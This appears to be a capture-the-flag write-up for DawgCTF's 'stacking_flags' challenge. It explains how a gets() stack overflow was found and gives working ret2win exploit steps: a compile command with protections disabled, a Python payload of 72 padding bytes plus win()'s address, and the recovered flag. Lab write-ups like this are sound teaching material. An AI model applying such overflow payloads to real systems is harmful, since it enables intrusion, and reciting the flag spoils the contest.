Skip to main content

stacking_flags

Challenge

Imported from local notes.md.

Solution

Original Notes

stacking_flags

Challenge Summary

  • Given: The challenge description pointed to a live service at nc.umbccd.net:8921 and stated it was running the same code published in the official DawgCTF repository under Stacking flags.
  • Goal: Recover the flag from the remote service.
  • Constraints: Interact with the remote network service and rely on the published source as ground truth.

Initial Recon / Triage

  • Observations: starting_files/ was empty locally, so the first task was reconstructing the published challenge source inside the workspace. The published C source contains a classic stack overflow via gets(buffer) into a 64-byte stack buffer.
  • File identification: The relevant source is starting_files/Stacking_flags.c, a 64-bit ELF target when compiled with the provided flags.
  • Entry points: main() calls vulnerable_function(), which reads attacker-controlled input and returns. A separate win() function opens flag.txt and prints it.

Hypotheses & Approach

  • Hypothesis 1: Because the binary is compiled with -no-pie and without stack protection, the address of win() is static and can be used directly in a return-to-win exploit.
  • Hypothesis 2: On x86_64, overflowing the 64-byte buffer plus the saved base pointer should place the saved return address at offset 72.

Execution Steps (Reproducible)

Stage 1

Commands:

cd /root/dawg2026CTF/stacking_flags
gcc -fno-stack-protector -no-pie -z execstack -g -Wno-implicit-function-declaration \
starting_files/Stacking_flags.c -o artifacts/stacking_flags_local

checksec --file=artifacts/stacking_flags_local
objdump -d artifacts/stacking_flags_local | sed -n '/<vulnerable_function>/,/^$/p'

Results:

  • checksec confirmed No PIE, No canary found, and NX disabled.
  • Disassembly of vulnerable_function showed a 64-byte stack allocation (sub $0x40, %rsp), which means the saved return pointer is reachable after 64 bytes of buffer data plus 8 bytes of saved rbp, for a total offset of 72.
  • The compiled local binary placed win() at 0x4011a6.

Stage 2

Commands:

cd /root/dawg2026CTF/stacking_flags/artifacts
printf 'LOCAL_TEST_FLAG\n' > flag.txt

python3 - <<'PY'
import struct, subprocess
payload = b'A' * 72 + struct.pack('<Q', 0x4011a6) + b'\n'
res = subprocess.run(['./stacking_flags_local'], input=payload, capture_output=True)
print(res.stdout.decode('latin1', 'replace'))
PY

Results:

  • The local binary returned into win() and printed LOCAL_TEST_FLAG, confirming the offset and target address.

Stage 3

Commands:

cd /root/dawg2026CTF/stacking_flags
python3 artifacts/exploit.py

Results:

  • The remote service responded with the real flag: DawgCTF{$taching_br1cks}.

Artifacts Produced

  • starting_files/Stacking_flags.c - reconstructed published challenge source.
  • artifacts/stacking_flags_local - local reproduction binary compiled from the published source.
  • artifacts/exploit.py - final ret2win exploit used against the remote service.

Flag

DawgCTF{$taching_br1cks}